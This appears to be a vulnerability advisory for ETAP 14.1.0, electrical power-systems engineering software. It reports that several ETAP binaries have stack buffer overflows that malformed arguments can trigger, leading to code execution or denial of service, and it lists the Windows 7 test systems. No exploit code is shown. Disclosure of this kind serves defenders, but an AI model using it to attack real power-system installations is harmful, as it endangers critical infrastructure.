Operation Technology ETAP 14.1.0 Multiple Stack Buffer Overrun Vulnerabilities


Vendor: Operation Technology, Inc.
Product web page: http://www.etap.com
Affected version: 14.1.0.0

Summary: Enterprise Software Solution for Electrical Power Systems. ETAP
is the most comprehensive electrical engineering software platform for the
design, simulation, operation, and automation of generation, transmission,
distribution, and industrial systems. As a fully integrated model-driven
enterprise solution, ETAP extends from modeling to operation to offer a
Real-Time Power Management System.

Desc: Multiple ETAP binaries are prone to a stack-based buffer overflow
vulnerability because the application fails to handle malformed arguments.
An attacker can exploit these issues to execute arbitrary code within the
context of the application or to trigger a denial-of-service conditions.

Tested on: Microsfot Windows 7 Professional SP1 (EN) x86_64
           Microsoft Windows 7 Ultimate SP1 (EN) x86_64
